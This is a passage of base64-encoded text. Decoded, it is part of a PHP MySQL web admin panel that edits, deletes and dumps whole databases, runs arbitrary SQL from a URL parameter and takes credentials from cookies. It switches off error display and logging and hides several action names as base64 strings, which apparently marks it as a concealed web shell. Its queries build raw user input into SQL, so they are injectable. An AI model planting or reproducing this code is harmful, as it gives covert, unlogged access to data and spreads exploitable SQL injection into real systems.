CQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOwoKCQlteXNxbF9zZWxl
Y3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJCSRwUmVzdWx0ID0gbXlzcWxfcXVlcnko
ICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiLCAkbXlz
cWxIYW5kbGUgKTsKCQkkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOwoJfQoK
CWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsK
CgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOwoJaWYoICRj
bWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1
ZT1hZGREYXRhX3N1Ym1pdD5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJZWNobyAi
PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXREYXRhX3N1Ym1pdD5cbiI7
CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7
CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFt
ZT5cbiI7CgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPlxuIjsKCWVj
aG8gIjx0cj5cbiI7CgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOwoJZWNobyAiPHRoPlR5cGU8L3Ro
PlxuIjsKCWVjaG8gIjx0aD5GdW5jdGlvbjwvdGg+XG4iOwoJZWNobyAiPHRoPkRhdGE8L3RoPlxu
IjsKCWVjaG8gIjwvdHI+XG4iOwoKCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUs
ICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3Mo
ICRwUmVzdWx0ICk7CgoJJHBSZXN1bHRMZW4gPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwg
JHRhYmxlbmFtZSApOwoKCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJJGZpZWxk
ID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7CgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsi
RmllbGQiXTsKCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJJGxlbiA9IG15c3FsX2Zp
ZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7CgoJCWVjaG8gIjx0cj4iOwoJCWVjaG8gIjx0ZD4k
ZmllbGRuYW1lPC90ZD4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPiI7CgkJ
ZWNobyAiPHRkPlxuIjsKCQllY2hvICI8c2VsZWN0IG5hbWU9JHtmaWVsZG5hbWV9X2Z1bmN0aW9u
PlxuIjsKCQllY2hvICI8b3B0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOwoJCWVj
aG8gIjxvcHRpb24+Q0hBUlxuIjsKCQllY2hvICI8b3B0aW9uPlNPVU5ERVhcbiI7CgkJZWNobyAi
PG9wdGlvbj5DVVJEQVRFXG4iOwoJCWVjaG8gIjxvcHRpb24+Q1VSVElNRVxuIjsKCQllY2hvICI8
b3B0aW9uPkZST01fREFZU1xuIjsKCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7CgkJ
ZWNobyAiPG9wdGlvbj5OT1dcbiI7CgkJZWNobyAiPG9wdGlvbj5QQVNTV09SRFxuIjsKCQllY2hv
ICI8b3B0aW9uPlBFUklPRF9BRERcbiI7CgkJZWNobyAiPG9wdGlvbj5QRVJJT0RfRElGRlxuIjsK
CQllY2hvICI8b3B0aW9uPlRPX0RBWVNcbiI7CgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOwoJCWVj
aG8gIjxvcHRpb24+V0VFS0RBWVxuIjsKCQllY2hvICI8b3B0aW9uPlJBTkRcbiI7CgkJZWNobyAi
PC9zZWxlY3Q+XG4iOwoJCWVjaG8gIjwvdGQ+XG4iOwoJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hh
cnMoJGRhdGFbJGldKTsKCQlpZiggJGNtZCA9PSAiYWRkIiApIHsKCQkJJHR5cGUgPSBzdHJ0b2so
ICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUg
PT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBlID09ICJlbnVtIiAp
CgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5
cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBt
dWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkgKSB7CgkJCQkJZWNo
byAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8
L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVu
IDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3Ro
PSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGQ+XG4iOwoJCQkJZWxzZQoJCQkJCWVjaG8gIjx0ZD48
dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwv
dGV4dGFyZWE+XG4iOwoJCQl9CgkJfSBlbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsKCQkJJHR5
cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51
bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBl
ID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJ
ZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRu
YW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkg
KSB7CgkJCQkJaWYoICR2YWx1ZSA9PSAkc3RyICkKCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3Rl
ZD4kc3RyXG4iOwoJCQkJCWVsc2UKCQkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0
cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3Rk
PlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5w
dXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVl
PVwiJHZhbHVlXCI+PC90ZD5cbiI7CgkJCQllbHNlCgkJCQkJZWNobyAiPHRkPjx0ZXh0YXJlYSBj
b2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWU+JHZhbHVlPC90ZXh0
YXJlYT5cbiI7CgkJCX0KCQl9CgkJZWNobyAiPC90cj4iOwoJfQoJZWNobyAiPC90YWJsZT48cD5c
biI7CglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVl
PSdBZGQgRGF0YSc+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQoJCWVjaG8gIjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBEYXRhJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1i
dXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsKCWVjaG8g
IjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZURhdGFfc3VibWl0KCAkY21kICkgewoJZ2xv
YmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9T
RUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcygg
JGRibmFtZSwgJHRhYmxlbmFtZSApOwoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0
ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCWlmKCAkY21k
ID09ICJhZGQiICkKCQkkcXVlcnlTdHIgPSAiSU5TRVJUIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMg
KCI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJJHF1ZXJ5U3RyID0gIlJFUExBQ0UgSU5U
TyAkdGFibGVuYW1lIFZBTFVFUyAoIjsKCWZvciggJGkgPSAwOyAkaSA8ICRudW0tMTsgJGkrKyAp
IHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsKCQkkZnVuYyA9ICRH
TE9CQUxTWyRmaWVsZC0+bmFtZS4iX2Z1bmN0aW9uIl07CgkJaWYoICRmdW5jICE9ICIiICkKCQkJ
JHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsKCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKSB7CgkJ
CSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdOwoJCQlpZiggJGZ1bmMgIT0gIiIg
KQoJCQkJJHF1ZXJ5U3RyIC49ICIpLCI7CgkJCWVsc2UKCQkJCSRxdWVyeVN0ciAuPSAiLCI7CgkJ
fSBlbHNlIHsKCQkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07CgkJ
CWlmKCAkZnVuYyAhPSAiIiApCgkJCQkkcXVlcnlTdHIgLj0gIicpLCI7CgkJCWVsc2UKCQkJCSRx
dWVyeVN0ciAuPSAiJywiOwoJCX0KCX0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJl
c3VsdCApOwoJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkKCQkkcXVlcnlTdHIgLj0gJEdMT0JB
TFNbJGZpZWxkLT5uYW1lXSAuICIpIjsKCWVsc2UKCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JB
TFNbJGZpZWxkLT5uYW1lXSAuICInKSI7CgoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciAsICRteXNx
bEhhbmRsZSApOwoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJdmlld0RhdGEoICIiICk7Cn0K
CmZ1bmN0aW9uIGRlbGV0ZURhdGEoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAk
dGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkk
cFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7CgkkbnVt
ID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsKCgkka2V5ID0gIiI7Cglmb3IoICRpID0g
MDsgJGkgPCAkbnVtOyAkaSsrICkgewoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJl
c3VsdCwgJGkgKTsKCQlpZiggJGZpZWxkLT5wcmltYXJ5X2tleSA9PSAxICkKCQkJaWYoICRmaWVs
ZC0+bnVtZXJpYyA9PSAxICkKCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JB
TFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJCWVsc2UKCQkJCSRrZXkgLj0gJGZpZWxkLT5u
YW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsKCX0KCSRrZXkg
PSBzdWJzdHIoICRrZXksIDAsIHN0cmxlbigka2V5KS00ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAk
ZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCSRxdWVyeVN0ciA9ICAiREVMRVRFIEZST00gJHRhYmxl
bmFtZSBXSEVSRSAka2V5IjsKCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSAp
OwoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJdmlld0RhdGEoICIiICk7Cn0KCmZ1bmN0aW9u
IGZldGNoX3RhYmxlX2R1bXBfc3FsKCR0YWJsZSkKewoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJu
YW1lOwoKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CgkkcXVlcnlf
aWQgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgJHRhYmxlIiwkbXlzcWxIYW5kbGUp
OwoJJHRhYmxlZHVtcCA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV9pZCwgTVlTUUxfQVNTT0Mp
OwoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxl
ZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOwoKCWVjaG8gJHRhYmxlZHVtcDsKCgkvLyBn
ZXQgZGF0YQoJJHJvd3MgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkdGFibGUiLCRteXNx
bEhhbmRsZSk7CgkkbnVtZmllbGRzPW15c3FsX251bV9maWVsZHMoJHJvd3MpOwoJd2hpbGUgKCRy
b3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkKCXsKCQkkdGFibGVkdW1w
ID0gIklOU0VSVCBJTlRPICR0YWJsZSBWQUxVRVMoIjsKCgkJJGZpZWxkY291bnRlciA9IC0xOwoJ
CSRmaXJzdGZpZWxkID0gMTsKCQkvLyBnZXQgZWFjaCBmaWVsZCdzIGRhdGEKCQl3aGlsZSAoKysk
ZmllbGRjb3VudGVyIDwgJG51bWZpZWxkcykKCQl7CgkJCWlmICghJGZpcnN0ZmllbGQpCgkJCXsK
CQkJCSR0YWJsZWR1bXAgLj0gJywgJzsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSRmaXJzdGZpZWxk
ID0gMDsKCQkJfQoKCQkJaWYgKCFpc3NldCgkcm93WyIkZmllbGRjb3VudGVyIl0pKQoJCQl7CgkJ
CQkkdGFibGVkdW1wIC49ICdOVUxMJzsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSR0YWJsZWR1bXAg
Lj0gIiciIC4gbXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyIkZmllbGRjb3VudGVyIl0pIC4gIici
OwoJCQl9CgkJfQoKCQkkdGFibGVkdW1wIC49ICIpO1xuIjsKCgkJZWNobyAkdGFibGVkdW1wOwoK
CX0KCUBteXNxbF9mcmVlX3Jlc3VsdCgkcm93cyk7Cn0KCmZ1bmN0aW9uIGR1bXAoKSB7CglnbG9i
YWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOwoKCWlmKCAkYWN0
aW9uID09ICJkdW1wVGFibGUiICl7CgoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmls
ZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsKCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91
bmtub3duJyk7CgkJZmV0Y2hfdGFibGVfZHVtcF9zcWwoJHRhYmxlbmFtZSk7CgkJZWNobyAiXG5c
blxuIjsKCQllY2hvICJcclxuXHJcblxyXG4jIyMgJHRhYmxlbmFtZSBUQUJMRSBEVU1QIENPTVBM
RVRFRCAjIyMiOwoJCWV4aXQ7CgoJfWVsc2V7CgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9u
OiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOwoJCWhlYWRlcignQ29udGVudC10eXBlOiB1bmtub3du
L3Vua25vd24nKTsKCgkJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsK
CQkkcXVlcnlfaWQgPSBteXNxbF9xdWVyeSgiU0hPVyB0YWJsZXMiLCRteXNxbEhhbmRsZSk7CgkJ
d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpCgkJ
ewoJCQkJZmV0Y2hfdGFibGVfZHVtcF9zcWwoJHJvd1swXSk7CgkJCQllY2hvICJcblxuXG4iOwoJ
CQkJZWNobyAiXHJcblxyXG5cclxuIyMjICRyb3dbMF0gVEFCTEUgRFVNUCBDT01QTEVURUQgIyMj
IjsKCQkJCWVjaG8gIlxuXG5cbiI7CgkJfQoJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkZGJuYW1l
IERBVEFCQVNFIERVTVAgQ09NUExFVEVEICMjIyI7CgkJZXhpdDsKCgl9Cgp9CgpmdW5jdGlvbiB1
dGlscygpIHsKCWdsb2JhbCAkUEhQX1NFTEYsICRjb21tYW5kOwoJZWNobyAiPGgxPlV0aWxpdGll
czwvaDE+XG4iOwoJaWYoICRjb21tYW5kID09ICIiIHx8IHN1YnN0ciggJGNvbW1hbmQsIDAsIDUg
KSA9PSAiZmx1c2giICkgewoJCWVjaG8gIjxocj5cbiI7CgkJZWNobyAiU2hvd1xuIjsKCQllY2hv
ICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNv
bW1hbmQ9c2hvd19zdGF0dXMnPlN0YXR1czwvYT5cbiI7CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQ
SFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9h
PlxuIjsKCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5k
PXNob3dfcHJvY2Vzc2xpc3QnPlByb2Nlc3NsaXN0PC9hPlxuIjsKCQllY2hvICI8L3VsPlxuIjsK
CQllY2hvICJGbHVzaFxuIjsKCQllY2hvICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSck
UEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfaG9zdHMnPkhvc3RzPC9hPlxuIjsK
CQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAi
Rmx1c2ggaG9zdHMiICkgIT0gZmFsc2UgKQoJCQkJZWNobyAiLSBTdWNjZXNzIjsKCQkJZWxzZQoJ
CQkJZWNobyAiLSBGYWlsIjsKCQl9CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rp
b249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQg
PT0gImZsdXNoX2xvZ3MiICkgewoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCBsb2dzIiApICE9
IGZhbHNlICkKCQkJCWVjaG8gIi0gU3VjY2VzcyI7CgkJCWVsc2UKCQkJCWVjaG8gIi0gRmFpbCI7
CgkJfQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9
Zmx1c2hfcHJpdmlsZWdlcyc+UHJpdmlsZWdlczwvYT5cbiI7CgkJaWYoICRjb21tYW5kID09ICJm
bHVzaF9wcml2aWxlZ2VzIiApIHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdl
cyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICItIFN1Y2Nlc3MiOwoJCQllbHNlCgkJCQllY2hvICIt
IEZhaWwiOwoJCX0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZj
b21tYW5kPWZsdXNoX3RhYmxlcyc+VGFibGVzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZs
dXNoX3RhYmxlcyIgKSB7CgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIHRhYmxlcyIgKSAhPSBm
YWxzZSApCgkJCQllY2hvICItIFN1Y2Nlc3MiOwoJCQllbHNlCgkJCQllY2hvICItIEZhaWwiOwoJ
CX0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZs
dXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3N0YXR1
cyIgKSB7CgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIHN0YXR1cyIgKSAhPSBmYWxzZSApCgkJ
CQllY2hvICItIFN1Y2Nlc3MiOwoJCQllbHNlCgkJCQllY2hvICItIEZhaWwiOwoJCX0KCQllY2hv
ICI8L3VsPlxuIjsKCX0gZWxzZSB7CgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIg
IiwgJGNvbW1hbmQgKTsKCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgKTsKCQlp
ZiggJHBSZXN1bHQgPT0gZmFsc2UgKSB7CgkJCWVjaG8gIkZhaWwiOwoJCQlyZXR1cm47CgkJfQoJ
CSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOwoKCQllY2hvICI8cCBjbGFzcz1s
b2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOwoJCWVjaG8gIjxocj5cbiI7CgoJCWVjaG8gIjx0YWJs
ZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgYm9yZGVyPTA+XG4iOwoJCWVjaG8gIjx0cj5c
biI7CgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsKCQkJJGZpZWxkID0gbXlzcWxf
ZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOwoJCQllY2hvICI8dGg+Ii4kZmllbGQtPm5hbWUu
IjwvdGg+XG4iOwoJCX0KCQllY2hvICI8L3RyPlxuIjsKCgkJd2hpbGUoIDEgKSB7CgkJCSRyb3dB
cnJheSA9IG15c3FsX2ZldGNoX3JvdyggJHBSZXN1bHQgKTsKCQkJaWYoICRyb3dBcnJheSA9PSBm
YWxzZSApIGJyZWFrOwoJCQllY2hvICI8dHI+XG4iOwoJCQlmb3IoICRqID0gMDsgJGogPCAkY29s
OyAkaisrICkKCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0g
KS4iPC90ZD5cbiI7CgkJCWVjaG8gIjwvdHI+XG4iOwoJCX0KCQllY2hvICI8L3RhYmxlPlxuIjsK
CX0KfQoKCgpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRk
Ym5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJFVTRVJOQU1FOwoKCWVjaG8gIjxocj5cbiI7
CgllY2hvICJbJFVTRVJOQU1FXSAtIFxuIjsKCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0
aW9uPWJHbHpkRVJDY3c9PSc+RGF0YWJhc2UgTGlzdDwvYT4gfCBcbiI7CglpZiggJHRhYmxlbmFt
ZSAhPSAiIiApCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRi
bmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5UYWJsZSBMaXN0PC9hPiB8ICI7Cgll
Y2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJz5VdGlsczwvYT4gfFxuIjsKCWVj
aG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOwoKCn0K
CgoKCi8vLS0tLS0tLS0tLS0tLSBNQUlOIC0tLS0tLS0tLS0tLS0gLy8KZXJyb3JfcmVwb3J0aW5n
KDApOwppbmlfc2V0ICgnZGlzcGxheV9lcnJvcnMnLCAwKTsKaW5pX3NldCAoJ2xvZ19lcnJvcnMn
LCAwKTsKCmlmKCAkYWN0aW9uID09ICJsb2dvbiIgfHwgJGFjdGlvbiA9PSAiIiB8fCAkYWN0aW9u
ID09ICJsb2dvdXQiICkKCWxvZ29uKCk7CmVsc2UgaWYoICRhY3Rpb24gPT0gImJHOW5iMjVmYzNW
aWJXbDAiICkKCWxvZ29uX3N1Ym1pdCgpOwplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUi
IHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7Cgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0g
ZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1p
bl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dl
Yl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15
c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7Cgl9CgkkbXlzcWxI
YW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBB
U1NXT1JEICk7CglkdW1wKCk7Cn0gZWxzZSB7Cgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0g
ZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1p
bl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dl
Yl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15
c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7Cgl9CgllY2hvICI8
IS0tIjsKCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2Iiwg
JFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsKCWVjaG8gIi0tPiI7CgoJaWYoICRteXNxbEhhbmRsZSA9
PSBmYWxzZSApIHsKCgoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48
dGQ+PGNlbnRlcj5cbiI7CgkJZWNobyAiPGgxPldyb25nIFBhc3N3b3JkITwvaDE+XG4iOwoJCWVj
aG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb24nPkxvZ29uPC9hPlxuIjsKCQllY2hv
ICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgoJfSBlbHNlIHsKCgkJaWYoICRhY3Rp
b24gPT0gImJHbHpkRVJDY3c9PSIgKQoJCQlsaXN0RGF0YWJhc2VzKCk7CgkJZWxzZSBpZiggJGFj
dGlvbiA9PSAiY3JlYXRlREIiICkKCQkJY3JlYXRlRGF0YWJhc2UoKTsKCQllbHNlIGlmKCAkYWN0
aW9uID09ICJkcm9wREIiICkKCQkJZHJvcERhdGFiYXNlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9
PSAibGlzdFRhYmxlcyIgKQoJCQlsaXN0VGFibGVzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAi
Y3JlYXRlVGFibGUiICkKCQkJY3JlYXRlVGFibGUoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJk
